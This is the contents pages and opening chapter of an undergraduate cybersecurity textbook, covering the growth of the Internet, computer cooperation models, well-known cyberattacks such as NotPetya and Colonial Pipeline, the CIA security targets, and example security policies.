11.1.1 Incident Reporting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 326
11.1.2 Investigation of Security Incidents . . . . . . . . . . . . . . . . . . . . . . 327
11.2 Business Continuity Planning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 333
11.2.1 The BCP Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 334
11.2.2 BCP Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 334
11.2.3 BCP Resource Requirements . . . . . . . . . . . . . . . . . . . . . . . . . . 335
11.3 Disaster Recovery Planning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 335
11.3.1 Phases of Recovery . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 336
11.3.2 DRP Strategies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 337
11.3.3 DRP Testing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 341
11.4 Security Awareness . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 342
Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 344

12 Law and Ethics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 347

12.1 Computer Crime . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 348
12.1.1 Which Acts Must Be Considered Illegal? . . . . . . . . . . . . . . . . 349
12.1.2 Which Powers Must Be Available? . . . . . . . . . . . . . . . . . . . . . 350
12.1.3 Jurisdiction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 351
12.1.4 International Rules in the Convention . . . . . . . . . . . . . . . . . . . 352
12.1.5 Anti-terror Laws . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 352
12.2 Protection of Personal Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 353
12.2.1 Important Concepts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 355
12.2.2 General Rules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 355
12.2.3 Classes of Personal Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 356
12.2.4 Transfer of Personal Data to Third Countries . . . . . . . . . . . . . 358
12.2.5 The Data Subject’s Rights . . . . . . . . . . . . . . . . . . . . . . . . . . . . 358
12.2.6 Security of Processing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 359
12.2.7 Leakages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 360
12.2.8 Authorities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 360
12.2.9 Codes of Conduct and Certification . . . . . . . . . . . . . . . . . . . . . 361
12.2.10 Legal Responsibility and Penalties . . . . . . . . . . . . . . . . . . . . . 362
Contents xv

12.3 Protection of Healthcare Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 363

12.3.1 Who Has Access to Health Data? . . . . . . . . . . . . . . . . . . . . . . 363
12.4 Ethics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 364
12.4.1 Datamining . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 365
12.4.2 Tracking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 366
12.4.3 Protection Against Breaches of Privacy . . . . . . . . . . . . . . . . . 368
Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 370

13 Epilogue . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 373

A What’s in the Box? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 381

A.1 Hardware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 381
A.1.1 Disks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 384
A.1.2 Input and Output (I/O) Units . . . . . . . . . . . . . . . . . . . . . . . . . . 387
A.1.3 Attachment of I/O Units . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 388
A.1.4 Communication Units . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 389
A.1.5 Power Supplies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 390
A.2 Software . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 390
A.2.1 The Operating System . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 391
A.2.2 Firmware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 392
A.2.3 Utility Programs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 393
A.2.4 Application Programs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 393
Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 395

B Mathematics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 397
B.1 Basic Concepts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 397
B.2 Fermat’s Factorisation Algorithm . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 401
B.3 Euclid’s Algorithm . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 403
B.4 Euclid’s Extended Algorithm . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 404
B.4.1 Calculation of an Inverse modulo 𝑛 . . . . . . . . . . . . . . . . . . . . . 405
B.5 The Chinese Remainder Theorem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 406
B.6 Why Does RSA Work? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 407
B.7 A Common-modulus Attack on RSA . . . . . . . . . . . . . . . . . . . . . . . . . . . 409
B.8 The Birthday Paradox . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 410

C Acronyms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 411

References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 421

Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 427
Chapter 1
Introduction: Why Cybersecurity?

1.1 Information Security and Cybersecurity

Information security is an old discipline, whose aim is to ensure that only the right
people can get hold of and possibly also change or delete information. The need for
this was recognised in ancient times: People used codes to conceal the content of
messages, they stored information in safe places, and they used messengers whom
they could trust, if a message had to be delivered to someone. To be on the safe side,
people in certain cultures would kill the messenger in order to prevent him from
revealing the message’s content.
The introduction of computers for processing information led to a renewed interest
in information security. At first this was only an important issue for governments
and especially the military, who were the primary users of the first computers.
Electronic communication among networks of computers was first developed in the
1970s, and documents on information security did not consider the dangers which
might be associated with communication. Even in 1983, when the US Department
of Defense (DoD) produced a series of publications on computer security—known
as the Rainbow Series, as the individual publications had different coloured front
pages – the focus was mostly on large centralised computers, where user terminals,
if any, were directly connected to the computer by dedicated cables rather than a
network as we know it today.
The world of today is quite differently organised, with possibilities for communi-
cating all around us—via the telephone network, WiFi, Bluetooth, cables and optical
links—and where practically all electronic equipment can be connected for a modest
price to a communication network and be given a unique place in “cyberspace”,
where others can communicate with it. This gives users many new opportunities—
but unfortunately also new threats which they have to protect themselves against.
Cybersecurity is information security rethought to fit this new network-oriented
world.

© The Author(s), under exclusive license to Springer Nature Switzerland AG 2024 1

R. Sharp, Introduction to Cybersecurity, Undergraduate Topics in Computer Science,
https://doi.org/10.1007/978-3-031-41463-3_1
2 1 Introduction: Why Cybersecurity?

1.1.1 The Development of the Internet

To understand the need for cybersecurity it is useful to look at the development of the
Internet. When the Internet was first developed in the 1970s, its users were mainly
a small group of technically educated people who had an experimental attitude to
this new way of communicating, who were willing to accept a certain degree of risk
in making use of it, and who could themselves evaluate the dangers which might be
associated with the activities which use of the net could support. The main focus
for the original design of the Internet was to offer a useful collection of simple
services which were relatively insensitive to faults in the communication network
itself. Security was not considered an important issue.
During the 1990s the situation changed dramatically, in particular due to four
developments:
1. New services: A large number of new, more complex services were developed and
made available to users of the Internet. The aim of many of these services was to
support applications such as banking, commerce and public administration, or to
support the establishment of social groups such as meetings and discussion fora.
For applications such as these, a security breach could have serious economic
or personal consequences for the parties involved. A large-scale breakdown of
security could even threaten the functioning of society as a whole.
2. Malware: Evil-minded persons began to develop so-called malware—software
whose aim is to breach the security on computers in which it is installed. Malware
could easily be distributed via e-mail, be offered on websites which unsuspecting
users could be attracted to, or be installed through the net without the user’s
knowledge. In many cases the users could be kept unaware of the breach in their
computer’s security for a long period of time, so for example their business secrets
or personal data could be read by outsiders or their system could be used to launch
attacks on other computers.
3. Exploitation of insecure behaviour: Criminals began to exploit Internet services
such as e-mail directly to perform criminal activities which they would previously
have performed offline—for example, establishing paedofile contacts to young
people or collecting personal or confidential information via social engineering.
Such activities are seldom based on technical security breaches, but instead exploit
the users’ poor understanding of what constitutes safe behaviour on the Internet,
where it is in many situations possible to hide one’s true identity.
4. Users’ lack of expertise: As a consequence of the easy access to new Internet
services and their usefulness, millions of people with no technical background
and no understanding of the risks began to use the Internet. In some countries,
this development was promoted by the government, which encouraged the entire
population to use Internet services for all public administration.
1.2 How Do Computers Work Together? 3

1.2 How Do Computers Work Together?

Computers seldom work completely alone, as many of the tasks which computers
are set to perform nowadays require cooperation from other computers. These other
computers can be placed quite close by: for example, a printer or scanner for a
home computer is often itself a small computer with its own CPU, storage, operating
system and other software, and which is connected to the home computer via a home
network based on cabled or wireless communication.
But they can also be far away, perhaps in a distant country, and be set going on
tasks which the local computer cannot itself perform. In this case, too, the computers
involved are connected via a network – nowadays probably the Internet. There are
several ways in which their cooperation can be organised:

INTERNET
Server

Client Server

Fig. 1.1 A server with a client

• The remote computer can operate as a so-called server, which offers particular
services for your own computer, which is a client for these services. This form of
organisation is illustrated in Fig. 1.1. There are many examples of this, such as:
– A web server, which offers to send web pages to the client.
– A mail server, which offers to transmit mail to or from the client.
– A file server, which offers to make a file system available for the client, which
can then handle files via the network.
– A server which offers a search service for documents from the Internet—as
we know it from services such as Google, Yahoo, Bing and so on.
– A time server, which offers to make a very accurate clock service available.
• The remote computer makes computing power or storage space available with the
help of a large collection of computers connected in a so-called cloud.
• The remote computer operates as a partner in a so-called peer-to-peer (P2P)
network, where all participants cooperate on an equal footing. This is in contrast
to a client-server organisation, where the client can ask the server to perform a
service, but not vice-versa.
• The remote computer is a little piece of apparatus which is controlled from your
computer. Only your imagination sets the limits for what sort of apparatus it could
be. For example you might use:
4 1 Introduction: Why Cybersecurity?

– sensors, which for example measure temperature, weight, pH values, wind

speed, electricity consumption, movement or whether a window is open or
closed.
– actuators, which for example open and close the windows, turn lights on and
off, move the piece being turned on a mechanical lathe, or move the X-ray
source over the patient.
– household apparatus such as a washing machine, oven or refrigerator.
– entertainment devices such as a sound system, TV or MP3 player.
This type of organisation is often known as the Internet of Things (or just IOT for
short).
These were some of the positive aspects of using networks: that you get access to
many more possibilities and potentially much larger computing power and storage
space than if you had to do everything on your own computer. But, as we have
already pointed out, there is also the negative aspect that communication through
the network can lead to unwanted effects in the form of malware and cyberattacks
directed at your computer. We look more closely at this in Chap. 8.

1.2.1 Systems of Systems

A computer, together with the units which are directly attached to it, is often called
a computer system. But the discussion above about computers which are connected

Server Server

Server
Server

Cluster 2
Server Server

Server Server

Server Server
Server Server

Server
Server

Cluster 1
Server Server

Server Server

Server
Server

Cluster 3
Server Server

Server Server

Server Server

INTERNET
Server Server

Server Server

User
computer

Fig. 1.2 A cloud consisting of a collection of three clusters of computer systems

1.3 Cyberattacks Today 5

by networks shows clearly that a computer system can be a part of an even larger
system—a system of systems. A good example of this is a cloud, which the user
thinks of as a single unit, but which in practice usually consists of a collection of
clusters, possibly distributed over the whole world, where each cluster consists of a
collection of connected computer systems, as illustrated in Fig. 1.2.
When such a system of systems is created, it is not irrelevant how the individual
participating systems are put together. It is essential for the system’s overall function
that necessary information can be moved round through the network—so for example
a client for a webserver can send requests to see particular web pages to the server,
and the server can send the contents of the web page back. At the same time, it
is essential for the system’s cybersecurity that only those transfers of information
which are needed for the system to function are permitted. In such complex networks
this is obviously quite a challenge.

1.3 Cyberattacks Today

Today cyberattacks—attacks on computers through the complex of communication

networks which make up the Internet—are a permanent threat to information security
in all sorts of computers and computer-like units such as smartphones, intelligent
televisions, control units in supply networks and other automated industrial plant.
Some examples since 2010:
• US OPM: In USA, a cyberattack on the Office of Public Management (OPM)
in 2015 compromised personal data from 21.5 million citizens. These data were
stored in a database at OPM and were used in connection with applications for
national security approval. The attackers are estimated to have had access to this
database for more than a year.
• CSC Danmark: In Denmark, a cyberattack on the company CSC Danmark
A/S in 2012 compromised personal data from the registries covering driving
licenses, criminal records and civil registration numbers. These had been out-
sourced to CSC by the Danish government. Information in these registries is
stored in databases on a so-called mainframe—a computer with large computing
capacity and the ability to deal with many simultaneous transactions. The attack-
ers broke in by cheating the authorisation system which should have prevented
unauthorised access to the stored data. They could then masquerade as system
administrators with high privileges, who had more or less unlimited access to the
system.
• APT1: A large-scale attack on at least 141 (mostly western) companies and
other organisations was carried out in 2009-12, mainly for purposes of industrial
espionage. Many things indicate that the attacks originated from an organisation
known as APT1, which is associated with the Chinese People’s Liberation Army
(PLA) [63]. APT is an acronym for Advanced Persistent Threat, a type of attack
which is carried out over a long period of time through the use of malware which
is stored in the victims’ computers in a way which makes it hard to detect. This
6 1 Introduction: Why Cybersecurity?

malware collects up data—in the nature of things, typically confidential data—

and sends them from the victim’s computer to an external collection point (a
process known as exfiltration), where they can be analysed.
• Stuxnet: A number of attacks on industrial systems which were controlled by
Siemens Step7 control software were carried out in 2010. They affected mainly a
group of systems in Iran which were used to control gas centrifuges for the enrich-
ment of uranium. The attack was based on a computer worm, a type of malware
which distributes itself through the net to potential victim computers [34]. There
are many indications that the attacks, which apparently resulted in the destruction
of some of the centrifuges and possibly in the collection of data with a view to
industrial espionage, originated from government organisations in USA or Israel.
• Semalt: Semalt is a service which offers a special type of fraud: false upgrading
of web pages in ranking systems like those used by Google and other search
machines. When a webpage has a high ranking, its owners can demand larger
fees from people who, for example, want to place advertisements on the page.
Upgrading can be achieved by getting a large number of computers to generate
false references to the page which is to be upgraded. Investigation of Semalt
in 2015 revealed that it used a botnet for this purpose. A botnet is a collection
of computers which have been infected with malware which makes it possible
to control them through the net without their owners being aware of this. The
investigations indicated that Semalt’s botnet involved about 300 000 computers,
many of them in private homes.
• CryptoLocker: In 2013-14, a large number of users were attacked by malware
known as CryptoLocker. This encrypted certain types of file on the computer’s
harddisk and any connected shared network drives, and demanded payment for
getting the files decrypted again. This type of malware is often called crypto-
graphic ransomware. In the case of CryptoLocker, it was distributed in the form
of attachments to e-mails, apparently sent from ordinary businesses, but in fact
faked mails sent out by using a botnet. Infection took place if the recipient of the
mail opened the attachment. It is estimated that about 250 000 computers were
infected before the botnet was destroyed, so that the attacks stopped.
• NotPetya: In June 2017, a large number of computers in different countries were
attacked by the computer worm NotPetya. This worm encrypted the so-called
Master Boot Record, which contains information for use when the computer is
started up, on the computer’s disk. It then spread itself to other computers in the
same network by stealing login information for these computers, which it could
find on the attacked computer. To the owners of the attacked computers, NotPetya
looked like another example of ransomware, but it turned out to be impossible to
pay the ransom, as the mail address to which it should be sent had been shut down,
and the people behind the attack could never have re-established the encrypted
data, even if the money could have been paid. So in practice the worm behaved
as a purely destructive weapon.
The attack affected a number of large international companies, including Mærsk
Line, FedEx and Nuance Communications, causing them considerable expense.
For example, the shipping company Mærsk estimated that it had cost them around
1.3 Cyberattacks Today 7

A
C250 million in recovery costs and loss of profit. The attack is believed to have
been set going by the Russian military, as part of an attack on Ukraine which
eventually spread to other countries.
• Orion: In 2020, an extensive attack on networks used by government departments
and important industrial companies in several countries compromised large quan-
tities of confidential data. The attack was specifically directed at networks using
the security product Orion, a software system used to provide IT staff with remote
access to corporate networks. The attack was a so-called supply-chain attack, in
which the software was infected with malware via a fake update.
The malware appears to have been active in the victim systems for several months
before it was detected by the security company FireEye. who were investigating
a separate attack, probably initiated by the same attackers, in which some of
FireEye’s software tools had been stolen and subsequently used in some of the
networks affected by the Orion attack. These tools were advanced hacking tools
used by FireEye to check the level of security in their customers’ organisations, so
the consequences of the two related attacks may turn out to be extremely serious.
There appear to be indications that the attacks were carried out by Russian hackers.
• Microsoft Exchange Server: Starting in January 2021, a wave of data breaches
were observed on Microsoft Exchange servers. The attacks were based on a set
of four previously unknown exploits, which enabled the attackers to login on the
servers, gain system administrator rights and install backdoors, so that they could
return to the attacked systems at any time. About 250 000 servers world-wide
are believed to have been affected, particularly within the government, military,
manufacturing, finance, software development and healthcare sectors.
In the first instance, the attackers used the exploits as a spying tool to access e-mails
and calendar information stored on the servers. Subsequently the same exploits
were used to perform ransomware attacks which made the servers unusable. The
attacks are believed to have been set going by the Chinese APT group known as
Hafnium, later joined by several other Chinese hacker groups.
• Colonial Pipeline: In May 2021, the oil pipeline company Colonial Pipeline,
which transports fuel among states in the East Coast region of USA, was the victim
of a ransomware attack. Although the attack only directly paralysed the company’s
billing system, Colonial Pipeline halted all operations in the pipeline, in case the
attackers had also obtained access to the actual fuel distribution systems. This
caused an acute fuel shortage in the eastern parts of USA. To restrict the extent
of this shortage as far as possible, the company paid the attackers the ransom of
approximately 4.4 million USD. This is an example of a cyberattack on what is
known as critical infrastructure, i.e. infrastructure which is critically necessary
for the functioning of society.
The attack appears to have made use of services made available by a group
known as DarkSide, which appears to be based in Russia. According to their
own statements, they are not a state-sponsored or political unit: “Our goal is
to make money”. Analysis by the firm Elliptic in 2021 showed that during the
previous year, the DarkSide group had received sums of around 90 million USD
via ransomware attacks.
8 1 Introduction: Why Cybersecurity?

Fig. 1.3 Cyberattacks don’t involve physical guns and rockets, but can be just as damaging.
(Illustration: Peter Heydenreich, reproduced with the artist’s permission)

• Russian invasion of Ukraine: In Spring 2022, before and during the Russian
invasion of Ukraine, infrastructure in the Ukraine and news media in Russia
were exposed to significant cyberattacks. These formed an element in a so-called
hybrid warfare strategy, where warring parties combine the use of traditional
military weapons with attacks in cyberspace. Because of the military nature of
the activities, details of the modes of attack, their effect and cost are not readily
available, although numerous examples have been publicly reported. It is widely
believed that this type of hybrid warfare will play an increasing role in military
planning in the years to come.
As can be seen, some of these attacks (APT1, Stuxnet, NotPetya, Orion and the
Microsoft Exchange data breach) were very probably set going by government organ-
isations with large resources at their disposal, while others were started by criminals
for various purposes: collection of personal data (US PM, CSC Danmark), fraud
(Semalt) or extortion (CryptoLocker, Colonial Pipeline). The attacks typically had
many victims, and cost the individuals or organisations which were hit considerable
inconvenience and in many cases large sums of money.
In order to reach so many victims, several of these attacks used botnets. In this
context, botnets offer a form of illegal infrastructure which can be used to send out
spam mail, inhibit access to net-based services (so-called DoS attacks) or perform
various types of fraud. Previously, botnets which were even more extensive than the
ones in the examples above have been seen, with more than 2 million computers
under “external control”. The more computers there are in a botnet, the more money
its organisers can demand from clients who want to rent time on the botnet.
Essentially, the organisers of the botnet offer the botnet as a service which crimi-
nals can use to perform cyberattacks on victims of their own choice. More recently,
many ransomware systems have also been offered as services to cybercriminals,
with facilities for setting up the attack and laundering the financial proceeds, which
usually have to be paid by the victim in some kind of cryptocurrency. Such services
1.4 Security Targets 9

form the basis for an extensive criminal underground economy with an estimated
annual turnover of many billions of Euros.
Nobody knows exactly how much money the attacks cost society. In 2014, the
security company McAfee produced an estimate that the sum was about 400 billion
USD a year worldwide [64], but this figure has subsequently been questioned. On
one hand one can argue that it should be smaller, as security companies have an
interest in exaggerating the dangers, so that more people will buy their security
products [5]. On the other hand, one can argue that it should be bigger, because
it is based on a survey, where respondents might have had an interest in hiding
embarassing episodes. In 2017, the security company Accenture found that 254
(presumably rather large) companies had used an average of 11.7 million USD in
clearing up after cyberattacks in the course of the year [1], and that the average cost
of dealing with a single data breach was 2.4 million USD. It is difficult to scale this
up to a global figure, but one thing at least is clear: cyberattacks by whatever means
are no longer something that teenage kids perform for fun. They are a big business
opportunity for criminals who want to get money from the victims of the attack, and
can even be weapons which can be used to exert economic or military pressure on
the chosen victims.

1.4 Security Targets

The overall aim of cybersecurity and information security is in general terms to

ensure that the following requirements are met:
Requirements 1.1 Authorised persons must be able to do what they are authorised
to, while unauthorised persons must be prevented from doing anything.
What you are allowed to do in an IT system is typically defined in relation to a set of
assets, which are the things that are important for the personal owner, company or
institution, and which must be protected. The authorised users of the IT system are
allowed an appropriate degree of access to some of these assets (and possibly have
permission to modify or delete them).
Which assets are involved depends on what sort of IT system we are dealing with.
There is a big difference between a smartphone, a home PC and an IT system in a
company or institution!
IT assets fall into three classes. They can be:
1. Data, which are to be processed or just stored in the IT system.
2. Software, which is used to process data, or
3. Equipment, which makes up the physical setup of the IT system.
Some simple, but typical, examples of data assets are:
• The customer base for a company
• Electronic health records in a hospital
• Tax information kept by a local authority
10 1 Introduction: Why Cybersecurity?

• Grade sheets at a university

• Exam papers in electronic form on a teacher’s tablet
• Documents of ownership in a real estate registry
• Criminal records held by the police
• Membership records for a trade union
• Access codes for e-banking on a home PC
• Private photos on a smartphone
As can be seen, these are valuable pieces of information. For some of them it is even a
legal requirement to keep them confidential. Software assets include the computer’s
operating system, utility programs and applications, while equipment assets include
units such as the system’s physical computers, printers, scanners, networks and other
infrastructure.

1.4.1 CIA Targets

Given a collection of assets, there are three main targets for information security,
described here in Definition 1.1.

Definition 1.1 (CIA Targets)

• Confidentiality, which means that the individual assets are only accessible to
authorised parties.
This target is almost only used in relation to data assets and covers properties
such as secrecy and privacy.
• Integrity, which means that the individual assets can only be modified by autho-
rised parties in authorised ways.
This target covers properties such as protection against unauthorised modifi-
cation, deletion or insertion of data, re-use of others’ messages, corruption of
messages sent via the net and so on.
• Availability, which means that authorised parties can access the assets to an
agreed extent.
This target covers properties such as giving a response within an agreed response
time, providing a service in a fair manner, maintenance of the necessary capacity,
orderly breakdown and similar conditions.

In everyday language these main targets are often just called the CIA targets after
the first letters in their names: C, I and A.
1.4 Security Targets 11

1.4.2 Security Policies

A security policy describes the overall targets for an IT system’s security. In a

company or institution, it typically consists of two parts:
1. A set of general aims, suitable for publication, to demonstrate the company’s
attention to the matter. The management has a duty to inform their stakeholders
about the company’s attitude to protecting its assets, and this part of the security
policy describes this attitude in general terms. As a minimum, this part of the
policy will usually contain information about the aims of the policy, its area of
applicability and the desired level of security.
2. Some detailed rules for what various groups of people may or may not do with
the company’s assets. These rules are typically formulated as a collection of CIA
targets and are normally kept confidential within the company. Outsiders should
not be able to pry into the company’s detailed rules for the protection of data and
the maintenance of IT services.
At a university, CYBERU, one might for example be able to find the following
statement in the general part of the security policy:
1. General aims:
• The aim of this policy is to define the general framework for protecting CY-
BERU’s information. In particular, the policy must ensure that critical and
sensitive information and information systems preserve the required degree of
confidentiality, integrity and availability.
• The knowledge which CYBERU has accumulated over the years and the knowl-
edge which the university is building up today form an important part of our
heritage. Preservation of information security is therefore of vital importance
for CYPERU’s credibility and ability to function in the modern world.
2. Applicability:
• This policy covers information which belongs to CYBERU, together with
information which is in CYBERU’s custody.
• The policy covers all of CYBERU’s information which is created, processed
or stored in information processing systems. The policy applies to employees,
students and persons with temporary attachment to the university.
• If operational services or other tasks are outsourced, the contract with the
external party must ensure that CYBERU’s level of security is maintained.
3. Security level:
• CYBERU uses a level of information security which as a minimum corresponds
to the basic security level in the standard ISO/IEC 27002.
• The management has decided that this is described in the codes of practice
and procedures which are currently valid at any given moment of time. It has
also decided that information security is to be integrated into all functional
procedures, operational tasks and projects.
12 1 Introduction: Why Cybersecurity?

• It is CYBERU’s policy to protect its information and exclusively permit use

of, access to and publication of information in accordance with the general
rules of the policy, with any necessary adjustments to accomodate new legal
or regulatory requirements.
• CYBERU determines, on the basis of a risk analysis, the necessary security
mechanisms, corresponding to the significance of individual classes of infor-
mation, and which ensure that legal requirements, agreements with external
parties and license conditions are met. The risk analysis is revised once a
year, so that the management can keep itself informed about the current risk
situation.
In a public hospital, one might correspondingly find the following rules in the
detailed part of the policy:
• Only the senior doctor in the relevant department may have access to patient data
in category 3B.
• To protect against misuse of open sessions on the hospital’s computers, logins
will only be valid as long as the computer user’s ID card is inserted in the card
reader. The personnel are forbidden to leave the computer without removing the
ID card.
• The hospital’s IT systems must as a general rule be available for looking up patient
data 24/7. Breakdowns of the entire system must not last longer than 2 minutes,
and the accumulated time during which the system is unavailable must not exceed
8 minutes per 24-hour period.
The two first rules here are (partial) targets for confidentiality, and the third is
a (partial) target for availability. The rules here are—as you might expect in a
hospital—related to the handling of patient records, but there would typically also
be sets of rules for the use of e-mail, web-based services, backup, outsourcing,
protection of networks, dealing with cyberattacks and so on.
In a private home—especially where we have to consider small IT systems such
as smartphones and the like—it is unusual to write down a security policy. But
the user of the equipment has (or ought to have...) certain expectations about how
secure the system should be. Many of the digital services which are offered by banks,
insurance companies and public administration require a certain level of security to
be maintained. The conditions of use of certain ID cards or credit cards, for example,
stipulate that they may only be used on “a unit in which the operating system,
Internet browser and other programs are continually updated with the latest security
updates”. That this actually happens must be a part of the user’s security policy.
1.5 Reader’s Guide 13

1.5 Reader’s Guide

This book gives an introduction to some of the mechanisms in IT systems which make
it possible for cyberattacks to take place, and briefly describes what you can do to
achieve some reasonable security targets. Achievment of cybersecurity is not a simple
task, as you need to have a basic grasp of a large number of separate disciplines,
which cover not only the technical aspects of IT systems, but also topics such as risk
management, cryptography, user psychology and the legal frameworks which define
what is lawful behaviour in the modern network-based world. Cybersecurity is very
definitely a multi-disciplinary challenge.
The book falls roughly into two parts, where Chaps. 2–7 deal with basic ideas,
while Chaps 8–12 focus on cybersecurity within specific areas with significance for
IT systems.
To understand much of the material, it is important that you have a clear idea
about what an IT system actually consists of, as many attacks are based on affecting
parts of the system which ordinary users don’t usually think about. If you do not have
this knowledge, then you should look first at Appendix A where you can find a short
introduction to the architecture of IT systems including both their central hardware
and software components.
Many people believe that technical mechanisms can protect their IT system against
all attacks—and that it is therefore just a matter of getting hold of enough antivirus
programs, boxes with protective equipment and similar aids. This is unfortunately
incorrect. The users of IT systems play a considerable role in the spread of many
attacks, and in Chap. 2 we look at some of the basic psychological tricks which
attackers use to lead users astray, and at some ways of getting users to behave more
carefully in order to resist such attacks,
Perfect protection of an IT system against attack is something you can dream
about, but hardly achieve in practice—if for no other reason, then because you only
have a limited budget. To get most protection for the money, you need to focus on
the types of security breach which have the biggest consequences for the company,
institution or private home in which the IT system is installed. This means that you
have to analyse the threats and risks which the system is exposed to, in order to
find the most important ones. How you can perform such a risk analysis is the topic
of Chap. 3, where we also look at some accepted methods for systematic security
analysis of IT systems.
A classic technique for maintaining confidentiality of data is to use cryptography
to transform the data to a form which cannot be understood by anyone who does
not know the secret needed for transforming them back to their original form. In
Chap. 4 we look first at classic forms of cryptography, some of which go back to
antiquity, and then at modern techniques which are more suitable for use in computers
and which build on a mathematical foundation. One of the advantages of modern
cryptographic techniques is that they can be used for much more than just hiding
data from prying eyes—for example to ensure integrity, for checking identity and
for making electronic signatures. Chapter 5 focuses on some of the most important
applications of cryptography which can be used in connection with cybersecurity.
14 1 Introduction: Why Cybersecurity?

As mentioned previously, cybersecurity is information security rethought in a

network-oriented world, so it is important to understand how networks work. The
last two chapters with general background material, Chaps. 6 and 7, therefore deal
with how modern networks which are used for communication between IT systems
are built up and looks at some of their most important properties.
The following three chapters are concerned with the risks and possibilities for
counteracting them within specific areas. Chapter 8 deals with security in different
types of network, Chap. 9 deals with how operating systems support security in IT
systems, while Chap. 10 deals with security risks which are associated with software
products which have either been designed or applied in a way which opens up for
attacks of various types.
As there is no such thing as perfect protection, an important aspect of cybersecu-
rity is planning what to do if an attack succeeds in spite of all precautions. The result
of the attack can be more or less catastrophic for the attacked system and its users.
In Chap. 11 we look at some strategies for investigating what has happened and for
re-establishing normal operation of the system after breakdowns of various degrees
of seriousness.
Chapter 12 deals with a number of legal and ethical problems associated with
cybersecurity. The legal framework is to a large extent defined by the Council
of Europe’s conventions on cybercrime, countering terrorism, and protection of
personal data, all of which have led to changes in the law in the countries which
have ratified these conventions. In addition, many countries have legal frameworks
which specifically deal with the processing of medical data. These laws deal with
punishable offences, but there are a large number of activities which are legal but
hardly acceptable from an ethical point of view, as they interfere with people’s right
to privacy. We finish by looking at some of these dubious activities and how you can
protect yourself against them.
The main part of the book ends with a short epilogue, which considers the question
of whether—in the light of what has been said in the previous chapters—it is really
possible to achieve cybersecurity in practice.
There are three appendices with information which you may well find useful. If
you feel you don’t know enough about computer system architecture, you can in
Appendix A find an overview of what a modern IT system is made up of. Cryptog-
raphy is nowadays, as mentioned above, a highly mathematical discipline. But since
readers of this book cannot be expected to have more knowledge of mathematics
than you can get from a school-leaving exam, the use of mathematics in Chaps. 4 and
5 has been cut down to a minimum. If you need to know more about the necessary
mathematics, you can find it in Appendix B. Finally, Appendix C contains a list of
the acronyms used in this book, with a short explanation of each.
1.5 Reader’s Guide 15

1.5.1 A Short Note on Notation

This book uses mathematical notation which is fairly standard and which is in
general explained in Appendix B. What you may find unusual is that the chapters
which deal with cryptography use a colour code to emphasise certain properties.
Cryptographc functions, such as functions for encryption, decryption and evaluation
of cryptographic checksums, are printed in a green calligraphic font (E , D , H , . . . ).
Quantities which are to be kept secret are printed in red, while quantities which are
publicly known are printed in blue.
